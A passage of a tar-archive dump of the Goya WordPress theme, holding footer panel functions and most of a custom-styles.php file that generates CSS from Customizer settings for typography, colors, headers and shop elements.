empty( $goya['panels'] ) || ! in_array( 'account', $goya['panels'] ) ) { return; } if ( ! class_exists( 'WooCommerce' ) ) { return; } if ( get_theme_mod('main_header_login_popup', false) && ! is_user_logged_in() && ! is_account_page() ) { ?> <div id="et-login-popup-wrap" class="et-login-popup-wrap mfp-hide"> <?php wc_get_template( 'myaccount/form-login.php', array( 'is_popup' => true ) ); ?> </div> <?php } } add_action( 'wp_footer', 'goya_quick_login_panel' ); /* Search Panel */ function goya_quick_search_panel() { global $goya; if ( empty( $goya['panels'] ) || ! in_array( 'search', $goya['panels'] ) ) { return; } ?> <nav class="search-panel side-panel"> <header> <div class="container"> <div class="panel-header-inner"> <div class="side-panel-title"><?php esc_html_e('Search', 'goya' ); ?></div> <a href="#" class="et-close" title="<?php esc_attr_e('Close', 'goya'); ?>"></a> </div> </div> </header> <div class="side-panel-content container"> <div class="row justify-content-md-center"> <div class="col-lg-10"> <?php goya_search_box(); ?> </div> </div> </div> </nav> <?php } add_action( 'wp_footer', 'goya_quick_search_panel' ); /* Quick View Panel: placeholder */ function goya_quick_view_panel() { if ( get_theme_mod('product_quickview', true) == false ) { return; } ?> <div id="et-quickview" class="clearfix"></div> <?php } add_action( 'wp_footer', 'goya_quick_view_panel' ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������custom-styles.php�����������������������������������������������������������������������������������0000644�����������������00000101456�15154650146�0010126 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function goya_custom_styles() { $id = get_queried_object_id(); ob_start(); // Primary font if ( get_theme_mod('main_font_source', '1') === '2' && get_theme_mod('main_font_typekit_kit_id', '') != '' ) { // Typekit font $main_font_family = get_theme_mod('main_typekit_font', ''); } // Secondary font $second_font_enabled = ( get_theme_mod('second_font_source', '0') !== '0' ) ? true : false; if ( $second_font_enabled ) { $second_font_elements = get_theme_mod('second_font_apply',array('titles','modules','widgets','blockquotes','h2','h3')); if ( get_theme_mod('second_font_source', '0') === '2' && get_theme_mod('second_font_typekit_kit_id', '') != '' ) { // Typekit font $second_font_family = get_theme_mod('second_typekit_font', ''); } } ?> /* Typography */ <?php if ( get_theme_mod('main_font_source', '1') === '2' && !empty($main_font_family)) { ?> body, blockquote cite, .hentry h2, .post-sidebar .widget > h6, .hentry h2, .mfp-content h2, .footer h2, .hentry h3, .mfp-content h3, .footer h3, .hentry h4, .mfp-content h4, .footer h4, .et-banner-text .et-banner-title, .woocommerce-order-received h2, .woocommerce-MyAccount-content h2, .woocommerce-MyAccount-content h3, .woocommerce-checkout h3, .order_review_heading, .woocommerce-MyAccount-content legend, .related h2, .up-sells h2, .cross-sells h2, .cart-collaterals h5, .cart-collaterals h3, .cart-collaterals h2, .related-posts .related-title, .et_post_nav .post_nav_link h3, .comment-reply-title, .comment-reply-title .button, .product-details-accordion .woocommerce-Reviews-title, .comments-container .comments-title { font-family: <?php echo wp_kses( $main_font_family, 'text' ); ?>; } <?php } ?> <?php if ( $second_font_enabled ) { ?> <?php if ( get_theme_mod('second_font_source', '1') === '2' && !empty($second_font_family) ) { ?> <?php if (in_array('main-menu', $second_font_elements)) { ?> .site-header .main-navigation, .site-header .secondary-navigation, <?php } ?> <?php if (in_array('titles', $second_font_elements)) { ?> h1, .page-header .page-title, .entry-header .entry-title, .et-shop-title, .product-showcase.product-title-top .product_title, .et-product-detail .summary h1.product_title, .entry-title.blog-title, .post.post-detail .entry-header .entry-title, .post.post-detail .post-featured .entry-header .entry-title, .wp-block-cover .wp-block-cover-text, .wp-block-cover .wp-block-cover__inner-container, .wp-block-cover-image .wp-block-cover-image-text, .wp-block-cover-image h2, .revslider-slide-title, <?php } ?> <?php if (in_array('blockquotes', $second_font_elements)) { ?> blockquote h1, blockquote h2, blockquote h3, blockquote h4, blockquote h5, blockquote h6, blockquote p, <?php } ?> <?php if (in_array('widgets', $second_font_elements)) { ?> .post-sidebar .widget > h6, <?php } ?> <?php if (in_array('h2', $second_font_elements)) { ?> .entry-content h2, .hentry h2, .mfp-content h2, .footer h2, <?php } ?> <?php if (in_array('h3', $second_font_elements)) { ?> .entry-content h3, .hentry h3, .mfp-content h3, .footer h3, <?php } ?> <?php if (in_array('h4', $second_font_elements)) { ?> .entry-content h4, .hentry h4, .mfp-content h4, .footer h4, <?php } ?> <?php if (in_array('posts', $second_font_elements)) { ?> .post .post-title h3, <?php } ?> <?php if (in_array('products', $second_font_elements)) { ?> .products .product .product-title h2, <?php } ?> <?php if (in_array('portfolio', $second_font_elements)) { ?> .et-portfolio .type-portfolio h3, <?php } ?> <?php if (in_array('modules', $second_font_elements)) { ?> .et-banner-text .et-banner-title, .woocommerce-order-received h2, .woocommerce-MyAccount-content h2, .woocommerce-MyAccount-content h3, .woocommerce-checkout h3, .order_review_heading, .woocommerce-MyAccount-content legend, .et-portfolio .type-portfolio h3, .related h2, .up-sells h2, .cross-sells h2, .cart-collaterals h5, .cart-collaterals h3, .cart-collaterals h2, .related-posts .related-title, .et_post_nav .post_nav_link h3, .comments-container .comments-title, .comment-reply-title, .product-details-accordion .woocommerce-Reviews-title, .et-hovercard .et-pricing-head, <?php } ?> .font-catcher { font-family: <?php echo wp_kses( $second_font_family, 'text' ); ?>; } <?php } else { ?> <?php if (! in_array('main-menu', $second_font_elements)) { ?> .theme-goya .site-header .main-navigation, .theme-goya .site-header .secondary-navigation, <?php } ?> <?php if (! in_array('titles', $second_font_elements)) { ?> .theme-goya h1, .theme-goya .page-header .page-title, .theme-goya .entry-header .entry-title, .theme-goya .et-shop-title, .theme-goya .product-showcase.product-title-top .product_title, .theme-goya .et-product-detail .summary h1.product_title, .theme-goya .entry-title.blog-title, .theme-goya .post.post-detail .entry-header .entry-title, .theme-goya .post.post-detail .post-featured .entry-header .entry-title, .theme-goya .wp-block-cover .wp-block-cover-text, .theme-goya .wp-block-cover .wp-block-cover__inner-container, .theme-goya .wp-block-cover-image .wp-block-cover-image-text, .theme-goya .wp-block-cover-image h2, .theme-goya .revslider-slide-title, <?php } ?> <?php if (! in_array('blockquotes', $second_font_elements)) { ?> .theme-goya blockquote h1, .theme-goya blockquote h2, .theme-goya blockquote h3, .theme-goya blockquote h4, .theme-goya blockquote h5, .theme-goya blockquote h6, .theme-goya blockquote p, <?php } ?> <?php if (! in_array('widgets', $second_font_elements)) { ?> .theme-goya .post-sidebar .widget > .widgettitle, <?php } ?> <?php if (! in_array('h2', $second_font_elements)) { ?> .theme-goya .entry-content h2, .theme-goya .hentry h2, .theme-goya .mfp-content h2, .theme-goya .footer h2, <?php } ?> <?php if (! in_array('h3', $second_font_elements)) { ?> .theme-goya .entry-content h3, .theme-goya .hentry h3, .theme-goya .mfp-content h3, .theme-goya .footer h3, <?php } ?> <?php if (! in_array('h4', $second_font_elements)) { ?> .theme-goya .entry-content h4, .theme-goya .hentry h4, .theme-goya .mfp-content h4, .theme-goya .footer h4, <?php } ?> <?php if (! in_array('posts', $second_font_elements)) { ?> .theme-goya .post .post-title h3, <?php } ?> <?php if (! in_array('products', $second_font_elements)) { ?> .theme-goya .products .product .product-title h2, <?php } ?> <?php if (! in_array('portfolio', $second_font_elements)) { ?> .theme-goya .et-portfolio .type-portfolio h3, <?php } ?> <?php if (! in_array('modules', $second_font_elements)) { ?> .theme-goya .et-banner-text .et-banner-title, .theme-goya .woocommerce-order-received h2, .theme-goya .woocommerce-MyAccount-content h2, .theme-goya .woocommerce-MyAccount-content h3, .theme-goya .woocommerce-checkout h3, .theme-goya .order_review_heading, .theme-goya .woocommerce-MyAccount-content legend, .theme-goya .et-portfolio .type-portfolio h3, .theme-goya .related h2, .theme-goya .up-sells h2, .theme-goya .cross-sells h2, .theme-goya .cart-collaterals h5, .theme-goya .cart-collaterals h3, .theme-goya .cart-collaterals h2, .theme-goya .related-posts .related-title, .theme-goya .et_post_nav .post_nav_link h3, .theme-goya .comments-container .comments-title, .theme-goya .comment-reply-title, .theme-goya .product-details-accordion .woocommerce-Reviews-title, .et-hovercard .et-pricing-head, <?php } ?> .theme-goya .font-catcher { font-family: inherit; font-weight: inherit; font-style: inherit; } <?php } ?> <?php } ?> /* Typography Sizes */ body, blockquote cite, div.vc_progress_bar .vc_single_bar .vc_label, div.vc_toggle_size_sm .vc_toggle_title h4 { font-size: <?php echo intval( get_theme_mod('font_size_medium', 16 ) ); ?>px; } /* Input fields size for mobiles */ <?php if (intval( get_theme_mod('font_size_medium', 16 )) < 16 ) { ?> @media all and (max-width: 767px) { input[type="text"], input[type="password"], input[type="number"], input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="time"], input[type="month"], input[type="week"], input[type="email"], input[type="search"], input[type="tel"], input[type="url"], input.input-text, select, textarea { font-size: 16px; } } <?php } ?> .wp-caption-text, .woocommerce-breadcrumb, .post.listing .listing_content .post-meta, .footer-bar .footer-bar-content, .side-menu .mobile-widgets p, .side-menu .side-widgets p, .products .product.product-category a div h2 .count, #payment .payment_methods li .payment_box, #payment .payment_methods li a.about_paypal, .et-product-detail .summary .sizing_guide, #reviews .commentlist li .comment-text .woocommerce-review__verified, #reviews .commentlist li .comment-text .woocommerce-review__published-date, .commentlist > li .comment-meta, .widget .type-post .post-meta, .widget_rss .rss-date, .wp-block-latest-comments__comment-date, .wp-block-latest-posts__post-date, .commentlist > li .reply, .comment-reply-title small, .commentlist .bypostauthor .post-author, .commentlist .bypostauthor > .comment-body .fn:after, .et-portfolio.et-portfolio-style-hover-card .type-portfolio .et-portfolio-excerpt { font-size: <?php echo intval( get_theme_mod('font_size_small', 14 ) ); ?>px; } /* Typography Color */ h1, h2, h3, h4, h5, h6 { color: <?php echo esc_attr( get_theme_mod('heading_color', '#282828') ); ?>; } /* Accent color */ /* Shortcodes */ /* Banners */ .et-banner .et-banner-content .et-banner-title.color-accent, .et-banner .et-banner-content .et-banner-subtitle.color-accent, .et-banner .et-banner-content .et-banner-link.link.color-accent, .et-banner .et-banner-content .et-banner-link.link.color-accent:hover, .et-banner .et-banner-content .et-banner-link.outlined.color-accent, .et-banner .et-banner-content .et-banner-link.outlined.color-accent:hover { color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } .et-banner .et-banner-content .et-banner-subtitle.tag_style.color-accent, .et-banner .et-banner-content .et-banner-link.solid.color-accent, .et-banner .et-banner-content .et-banner-link.solid.color-accent:hover { background: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } /* Iconbox */ .et-iconbox.icon-style-background.icon-color-accent .et-feature-icon { background: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } .et-iconbox.icon-style-border.icon-color-accent .et-feature-icon, .et-iconbox.icon-style-simple.icon-color-accent .et-feature-icon { color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } /* Counter */ .et-counter.counter-color-accent .h1, .et-counter.icon-color-accent i { color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } /* Buttons */ .et_btn.solid.color-accent { background: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } .et_btn.link.color-accent, .et_btn.outlined.color-accent, .et_btn.outlined.color-accent:hover { color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } /* Type Effects */ .et-animatype.color-accent .et-animated-entry, .et-stroketype.color-accent * { color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } /* General */ .slick-prev:hover, .slick-next:hover, .flex-prev:hover, .flex-next:hover, .mfp-wrap.quick-search .mfp-content [type="submit"], .et-close, .single-product .pswp__button:hover, .content404 h4, .woocommerce-tabs .tabs li a span, .woo-variation-gallery-wrapper .woo-variation-gallery-trigger:hover:after, .mobile-menu li.menu-item-has-children.active > .et-menu-toggle:after, .remove:hover, a.remove:hover, span.minicart-counter.et-count-zero, .tag-cloud-link .tag-link-count, .star-rating > span:before, .comment-form-rating .stars > span:before, .wpmc-tabs-wrapper li.wpmc-tab-item.current, div.argmc-wrapper .tab-completed-icon:before, div.argmc-wrapper .argmc-tab-item.completed .argmc-tab-number, .widget ul li.active, .et-wp-gallery-popup .mfp-arrow { color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } .menu-item.accent-color a, .accent-color:not(.fancy-tag), .accent-color:not(.fancy-tag) .wpb_wrapper > h1, .accent-color:not(.fancy-tag) .wpb_wrapper > h2, .accent-color:not(.fancy-tag) .wpb_wrapper > h3, .accent-color:not(.fancy-tag) .wpb_wrapper > h4, .accent-color:not(.fancy-tag) .wpb_wrapper > h5, .accent-color:not(.fancy-tag) .wpb_wrapper > h6, .accent-color:not(.fancy-tag) .wpb_wrapper > p { color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?> !important; } .accent-color.fancy-tag, .wpb_text_column .accent-color.fancy-tag:last-child, .accent-color.fancy-tag .wpb_wrapper > h1, .accent-color.fancy-tag .wpb_wrapper > h2, .accent-color.fancy-tag .wpb_wrapper > h3, .accent-color.fancy-tag .wpb_wrapper > h4, .accent-color.fancy-tag .wpb_wrapper > h5, .accent-color.fancy-tag .wpb_wrapper > h6, .accent-color.fancy-tag .wpb_wrapper > p { background-color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } .wpmc-tabs-wrapper li.wpmc-tab-item.current .wpmc-tab-number, .wpmc-tabs-wrapper li.wpmc-tab-item.current:before, .tag-cloud-link:hover, div.argmc-wrapper .argmc-tab-item.completed .argmc-tab-number, div.argmc-wrapper .argmc-tab-item.current .argmc-tab-number, div.argmc-wrapper .argmc-tab-item.last.current + .argmc-tab-item:hover .argmc-tab-number { border-color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } .vc_progress_bar.vc_progress-bar-color-bar_orange .vc_single_bar span.vc_bar, span.minicart-counter, .filter-trigger .et-active-filters-count, .et-active-filters-count, div.argmc-wrapper .argmc-tab-item.current .argmc-tab-number, div.argmc-wrapper .argmc-tab-item.visited:hover .argmc-tab-number, div.argmc-wrapper .argmc-tab-item.last.current + .argmc-tab-item:hover .argmc-tab-number, .slick-dots li button:hover, .wpb_column.et-light-column .postline:before, .wpb_column.et-light-column .postline-medium:before, .wpb_column.et-light-column .postline-large:before, .et-feat-video-btn:hover .et-featured-video-icon:after, .post.type-post.sticky .entry-title a:after { background-color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } div.argmc-wrapper .argmc-tab-item.visited:before { border-bottom-color: <?php echo esc_attr( get_theme_mod('accent_color', '#b9a16b') ); ?>; } /* Loaders */ .yith-wcan-loading:after, .blockUI.blockOverlay:after, .easyzoom-notice:after, .woocommerce-product-gallery__wrapper .slick:after, .add_to_cart_button.loading:after, .et-loader:after { background-color: <?php echo esc_attr( get_theme_mod('dot_loader_color', '#b9a16b') ); ?>; } /* Fancy Title default color */ .fancy-title, h1.fancy-title, h2.fancy-title, h3.fancy-title, h4.fancy-title, h5.fancy-title, h6.fancy-title { color: <?php echo esc_attr( get_theme_mod('fancy_title_color', '#b9a16b') ); ?> } /* Fancy Tag default color */ .fancy-tag, h1.fancy-tag, h2.fancy-tag, h3.fancy-tag, h4.fancy-tag, h5.fancy-tag, h6.fancy-tag { background-color: <?php echo esc_attr( get_theme_mod('fancy_tag_color', '#b9a16b') ); ?> } /* Mobile header breakpoint */ @media only screen and (max-width: <?php echo esc_attr( get_theme_mod('mobile_header_breakpoint', 991) ); ?>px) { .header .header-mobile { display: block !important; } .header .header-main, .header .header-bottom { display: none !important; } } /* Header Height */ @media only screen and (min-width: 992px) { .header, .header-spacer, .product-header-spacer { height: <?php echo esc_attr( get_theme_mod('header_height', 90) ); ?>px; } .page-header-transparent .hero-header .hero-title { padding-top: <?php echo esc_attr( get_theme_mod('header_height', 90) ); ?>px; } .et-product-detail.et-product-layout-no-padding.product-header-transparent .showcase-inner .product-information { padding-top: <?php echo esc_attr( get_theme_mod('header_height', 90) ); ?>px; } .header_on_scroll:not(.megamenu-active) .header, .header_on_scroll:not(.megamenu-active) .header-spacer, .header_on_scroll:not(.megamenu-active) .product-header-spacer { height: <?php echo esc_attr( get_theme_mod('header_height_sticky', 70) ); ?>px; } } @media only screen and (max-width: 991px) { .header, .header_on_scroll .header, .header-spacer, .product-header-spacer { height: <?php echo esc_attr( get_theme_mod('header_height_mobile', 60) ); ?>px; } .page-header-transparent .hero-header .hero-title { padding-top: <?php echo esc_attr( get_theme_mod('header_height_mobile', 60) ); ?>px; } } @media screen and (min-width: 576px) and (max-width: 767px) { .sticky-product-bar { height: <?php echo esc_attr( get_theme_mod('header_height_mobile', 60) ); ?>px; } .product-bar-visible.single-product.fixed-product-bar-bottom .footer { margin-bottom: <?php echo esc_attr( get_theme_mod('header_height_mobile', 60) ); ?>px; } .product-bar-visible.single-product.fixed-product-bar-bottom #scroll_to_top.active { bottom: <?php echo esc_attr( get_theme_mod('header_height_mobile', 60) + 10 ); ?>px; } } <?php if ( goya_wc_active() ) { global $wp_query; $is_sale_page = $wp_query->is_sale_page; $is_latest_page = $wp_query->is_latest_page; $shop_header_bg = get_theme_mod('shop_header_bg_color', '#f8f8f8'); $shop_hero_title = goya_meta_config('shop','hero_title','none'); ?> <?php if (! is_shop() ) { ?> <?php if ( $shop_hero_title === 'all-hero' ) { ?> .hero-header .hero-title { background-color:<?php echo esc_attr( $shop_header_bg ); ?>; } <?php } ?> <?php } ?> <?php if ( ( is_shop() || ( is_search() && $shop_hero_title != 'main-hero' ) ) && ! $is_sale_page && ! $is_latest_page ) { ?> <?php if ( $shop_hero_title != 'none') { ?> .post-type-archive-product .hero-header .hero-title { background-color:<?php echo esc_attr( $shop_header_bg ); ?>; <?php if ( ! empty (get_theme_mod('shop_header_bg_image', '') ) && ! is_search() ) { ?> background-image: url('<?php echo esc_attr( get_theme_mod('shop_header_bg_image', '') ); ?>'); <?php } ?> } <?php } ?> <?php } ?> <?php if ( $is_sale_page || $is_latest_page) { $image_url = get_the_post_thumbnail_url(get_queried_object_id(), 'full'); if ($image_url) { ?> .post-type-archive-product .hero-header .hero-title { background-image: url('<?php echo esc_attr( $image_url ); ?>'); } <?php } } ?> <?php if ( is_tax() ) { $term = get_queried_object(); $term_id = $term->term_id; $header_id = get_term_meta( $term_id, 'header_id', true ); $image = wp_get_attachment_url($header_id, 'full'); ?> .tax-<?php echo esc_attr($term->taxonomy) ?>.term-<?php echo esc_attr($term_id); ?> .hero-header .hero-title { <?php if ( get_theme_mod('shop_hero_title', 'none') != 'none' ) { ?> background-color:<?php echo esc_attr( $shop_header_bg ); ?>; <?php } ?> <?php if (! empty($image)) { ?> background-image: url('<?php echo esc_url($image); ?>'); <?php } ?> } <?php } ?> <?php } ?> /* Top bar */ <?php $topbar_mobile = get_theme_mod('top_bar_mobiles', array()); $tp_sections = ''; foreach($topbar_mobile as $i => $section) { if ($tp_sections != '') { $tp_sections .= ','; } $tp_sections .= '.top-bar .topbar-' . $section; } ?> <?php if ($tp_sections != '') { ?> @media only screen and (max-width: 991px) { .top-bar { display: flex; } <?php echo esc_attr($tp_sections); ?> { display: flex; } } <?php } ?> /* Header */ .page-header-regular .header, .header_on_scroll .header { background-color:<?php echo esc_attr( get_theme_mod('header_background_color', '#ffffff') ); ?>; } @media only screen and (max-width: 576px) { .page-header-transparent:not(.header-transparent-mobiles):not(.header_on_scroll) .header { background-color:<?php echo esc_attr( get_theme_mod('header_background_color', '#ffffff') ); ?>; } } .header a, .header .menu-toggle, .header .goya-search button { color:<?php echo esc_attr( get_theme_mod('header_navigation_color', '#282828') ); ?>; } @media only screen and (max-width: 767px) { .sticky-header-light .header .menu-toggle:hover, .header-transparent-mobiles.sticky-header-light.header_on_scroll .header a.icon, .header-transparent-mobiles.sticky-header-light.header_on_scroll .header .menu-toggle, .header-transparent-mobiles.light-title:not(.header_on_scroll) .header a.icon, .header-transparent-mobiles.light-title:not(.header_on_scroll) .header .menu-toggle { color:<?php echo esc_attr( get_theme_mod('header_navigation_color_light', '#ffffff') ); ?>; } } @media only screen and (min-width: 768px) { .light-title:not(.header_on_scroll) .header .site-title, .light-title:not(.header_on_scroll) .header .et-header-menu>li> a, .sticky-header-light.header_on_scroll .header .et-header-menu>li> a, .light-title:not(.header_on_scroll) span.minicart-counter.et-count-zero, .sticky-header-light.header_on_scroll .header .icon, .sticky-header-light.header_on_scroll .header .menu-toggle, .light-title:not(.header_on_scroll) .header .icon, .light-title:not(.header_on_scroll) .header .menu-toggle { color:<?php echo esc_attr( get_theme_mod('header_navigation_color_light', '#ffffff') ); ?>; } } .et-header-menu .menu-label, .mobile-menu .menu-label { background-color:<?php echo esc_attr( get_theme_mod('header_navigation_tag_color', '#bbbbbb') ); ?>; } /* Menu: Dropdown */ .et-header-menu ul.sub-menu:before, .et-header-menu .sub-menu .sub-menu { background-color:<?php echo esc_attr( get_theme_mod('dropdown_menu_background_color', '#ffffff') ); ?> !important; } .et-header-menu>li.menu-item-has-children > a:after { border-bottom-color:<?php echo esc_attr( get_theme_mod('dropdown_menu_background_color', '#ffffff') ); ?>; } .et-header-menu .sub-menu li.menu-item-has-children:after, .et-header-menu ul.sub-menu li a { color:<?php echo esc_attr( get_theme_mod('dropdown_menu_font_color', '#444444') ); ?>; } /* Vertical bar */ .side-panel .mobile-bar, .side-panel .mobile-bar.dark { background:<?php echo esc_attr( get_theme_mod('vertical_bar_background', '#f8f8f8') ); ?>; } /* Mobile menu */ .side-mobile-menu, .side-mobile-menu.dark { background:<?php echo esc_attr( get_theme_mod('menu_mobile_background_color', '#ffffff') ); ?>; } /* Full Screen menu */ .side-fullscreen-menu, .side-fullscreen-menu.dark { background:<?php echo esc_attr( get_theme_mod('menu_fullscreen_background_color', '#ffffff') ); ?>; } /* Footer widgets */ .site-footer, .site-footer.dark { background-color:<?php echo esc_attr( get_theme_mod('footer_widgets_background', '#ffffff') ); ?>; } /* Footer bar */ .site-footer .footer-bar.custom-color-1, .site-footer .footer-bar.custom-color-1.dark { background-color:<?php echo esc_attr( get_theme_mod('footer_bar_background', '#ffffff') ); ?>; } /* Shop */ /* Catalog Mode */ <?php if ( get_theme_mod('shop_catalog_mode', false) == true ) { ?> .single_variation_wrap { display: none !important; } .et-product-detail .summary .product_actions_wrap { justify-content: left; } <?php } ?> /* Quick View */ .mfp #et-quickview { max-width: <?php echo esc_attr( get_theme_mod('product_quickview_width', 960) ); ?>px; } /* Single product */ <?php $showcase_bg = get_post_meta( $id, 'goya_product_showcase_background', true); if ( get_theme_mod('single_product_background', false) == true || $showcase_bg ) { if (! $showcase_bg) { // use global value instead $showcase_bg = get_theme_mod('single_product_background_color', '#f8f8f8'); } ?> .easyzoom-flyout, .single-product .pswp__bg, .single-product .pswp__img--placeholder--blank, .product-showcase { background: <?php echo esc_attr( $showcase_bg ); ?>; } <?php } ?> /* Single Product: Accordion Scrollbar */ .woocommerce-Tabs-panel.custom_scroll { max-height:<?php echo esc_attr( get_theme_mod('product_accordion_max_height', 400) ); ?>px; } /* Single Product: Meta */ <?php $meta_sku = get_theme_mod('product_meta_sku', true); $meta_cat = get_theme_mod('product_meta_categories', true); $meta_tag = get_theme_mod('product_meta_tags', true); ?> <?php if (!$meta_sku) { ?> .product_meta .sku_wrapper, <?php } ?> <?php if (!$meta_cat) { ?> .product_meta .posted_in, <?php } ?> <?php if (!$meta_tag) { ?> .product_meta .tagged_as, <?php } ?> .product_meta .trap { display: none !important; } <?php if (!$meta_sku && !$meta_cat && !$meta_tag) { ?> .product_meta { display: none !important; } .product_meta + .post-share { margin-top: 30px; } <?php } ?> /* Shop: Filters: Scrollbar */ .shop-widget-scroll .widget > ul, .shop-widget-scroll .widget:not(.widget-woof) > .widgettitle + *, .shop-widget-scroll .wcapf-layered-nav { max-height:<?php echo esc_attr( get_theme_mod('shop_filters_height', 150) ); ?>px; } /* Shop: Progress bar */ <?php $progress_bar_color = get_theme_mod('progress_bar_color', '#b9a16b'); ?> .free-shipping-progress-bar .progress-bar-indicator { background: linear-gradient(270deg, <?php echo esc_attr( $progress_bar_color ); ?> 0, #ffffff 200%); background-color: <?php echo esc_attr( $progress_bar_color ); ?>; flex-grow: 1; } .rtl .free-shipping-progress-bar .progress-bar-indicator { background: linear-gradient(90deg, <?php echo esc_attr( $progress_bar_color ); ?> 0, #ffffff 200%); } .progress-bar-status.success .progress-bar-indicator { background: <?php echo esc_attr( get_theme_mod('progress_bar_success_color', '#67bb67') ); ?>; } /* Shop: Colors */ .star-rating > span:before, .comment-form-rating .stars > span:before { color:<?php echo esc_attr( get_theme_mod('rating_stars_color', '#282828') ); ?>; } .product-inner .badge.onsale, .wc-block-grid .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-onsale { color:<?php echo esc_attr( get_theme_mod('sale_badge_font_color', '#ef5c5c') ); ?>; background-color:<?php echo esc_attr( get_theme_mod('sale_badge_background_color', '#ffffff') ); ?>; } .et-product-detail .summary .badge.onsale { border-color: <?php echo esc_attr( get_theme_mod('sale_badge_font_color', '#ef5c5c') ); ?>; } .product-inner .badge.new { color:<?php echo esc_attr( get_theme_mod('new_badge_font_color', '#585858') ); ?>; background-color:<?php echo esc_attr( get_theme_mod('new_badge_background_color', '#ffffff') ); ?>; } .product-inner .badge.out-of-stock { color:<?php echo esc_attr( get_theme_mod('stock_badge_font_color', '#585858') ); ?>; background-color:<?php echo esc_attr( get_theme_mod('stock_badge_background_color', '#ffffff') ); ?>; } /* WooCommerce Blocks */ @media screen and (min-width: 768px) { <?php if (get_theme_mod('shop_product_animation_hover', 'zoom-jump') == 'jump' || get_theme_mod('shop_product_animation_hover', 'zoom-jump') == 'zoom-jump') { ?> .wc-block-grid__products .wc-block-grid__product .wc-block-grid__product-image { margin-top: 5px; } .wc-block-grid__products .wc-block-grid__product:hover .wc-block-grid__product-image { transform: translateY(-5px); } <?php } ?> <?php if (get_theme_mod('shop_product_animation_hover', 'zoom-jump') == 'zoom-jump') { ?> .wc-block-grid__products .wc-block-grid__product:hover .wc-block-grid__product-image img { -moz-transform: scale(1.05, 1.05); -ms-transform: scale(1.05, 1.05); -webkit-transform: scale(1.05, 1.05); transform: scale(1.05, 1.05); } <?php } ?> } /* Blog: Title */ .et-blog.hero-header .hero-title { background-color:<?php echo esc_attr( get_theme_mod('blog_hero_title_bg', '#f8f8f8') ); ?>; } <?php if ( is_home() && ! is_front_page() ) { $page = get_queried_object(); if ( !is_null( $page ) && $page->ID == get_option( 'page_for_posts' ) ) { if ( ! empty (get_theme_mod('blog_header_bg_image', '') ) ) { ?> .et-blog.hero-header .hero-title { background-image: url('<?php echo esc_attr( get_theme_mod('blog_header_bg_image', '') ); ?>'); } <?php } } } else if (is_category()) { $cat = get_queried_object(); $cat_id = $cat->term_id; $header_id = get_term_meta( $cat_id, 'header_id', true ); $image = wp_get_attachment_url($header_id, 'full'); ?> .category.category-<?php echo esc_attr($cat_id); ?> .hero-header .hero-title { <?php if ( get_theme_mod('shop_hero_title', 'none') != 'none' ) { ?> background-color:<?php echo esc_attr( get_theme_mod('blog_hero_title_bg', '#f8f8f8') ); ?>; <?php } ?> <?php if (! empty($image)) { ?> background-image: url('<?php echo esc_url($image); ?>'); <?php } ?> } <?php } ?> /* Single post */ <?php $hero_bg = get_post_meta( $id, 'goya_post_hero_background', true); ?> .post.post-detail.hero-title .post-featured.title-wrap { background-color:<?php echo esc_attr( get_theme_mod('blog_hero_title_bg', '#f8f8f8') ); ?>; <?php if ( $hero_bg ) echo 'background-color: ' . esc_attr($hero_bg).';'; ?> } /* Pages/Portfolio background */ <?php $page_bg = get_post_meta( $id, 'goya_page_page_background', true); $portfolio_bg = get_post_meta( $id, 'goya_portfolio_page_background', true); if ($page_bg) { ?> .page-id-<?php echo esc_attr($id); ?> #wrapper div[role="main"] { background-color: <?php echo esc_attr( $page_bg ); ?> } <?php } if ($portfolio_bg) { ?> .postid-<?php echo esc_attr($id); ?> #wrapper div[role="main"] { background-color: <?php echo esc_attr( $portfolio_bg ); ?> } <?php } ?> /* Page hero title background */ <?php $hero_bg = get_post_meta( $id, 'goya_page_hero_title_background', true); $title_style = get_post_meta(get_queried_object_id(), 'goya_page_title_style', true); if ($title_style == 'hero' && $hero_bg) { ?> .page-id-<?php echo esc_attr($id); ?> .hero-header .hero-title { background-color: <?php echo esc_attr( $hero_bg ); ?> } <?php } ?> /* Portfolio hero title background */ <?php $hero_bg = get_post_meta( $id, 'goya_portfolio_hero_title_background', true); $portfolio_layout = goya_meta_config('portfolio','layout_single','regular');; if ($portfolio_layout == 'hero' && $hero_bg) { ?> .postid-<?php echo esc_attr($id); ?> .post-detail.hero-title .post-featured.title-wrap { background-color: <?php echo esc_attr( $hero_bg ); ?> } <?php } ?> /* Gutenberg Styles */ <?php // Retrieve the accent color from the Customizer. $gutstyles = array( 'white' => '#ffffff', 'shade' => '#f8f8f8', 'gray' => get_theme_mod( 'main_font_color', '#777777' ), 'dark' => get_theme_mod( 'primary_buttons', '#282828' ), 'accent' => get_theme_mod( 'accent_color', '#b9a16b' ), ); goya_gutenberg_colors($gutstyles); ?> /* Translation Styles */ .commentlist .bypostauthor > .comment-body .fn:after { content: '<?php echo esc_html__( 'Post Author', 'goya' ); ?>'; } .et-inline-validation-notices .form-row.woocommerce-invalid-required-field:after{ content: '<?php echo esc_html__( 'Required field', 'goya' ); ?>'; } .post.type-post.sticky .entry-title a:after { content: '<?php echo esc_html__( 'Featured', 'goya' ); ?>'; } /* Custom CSS */ <?php if( get_theme_mod('custom_css_status', false) == true ) { echo get_theme_mod('custom_css_code', ''); } $styles = ob_get_contents(); if (ob_get_contents()) ob_end_clean(); $styles = goya_clean_custom_css($styles); return 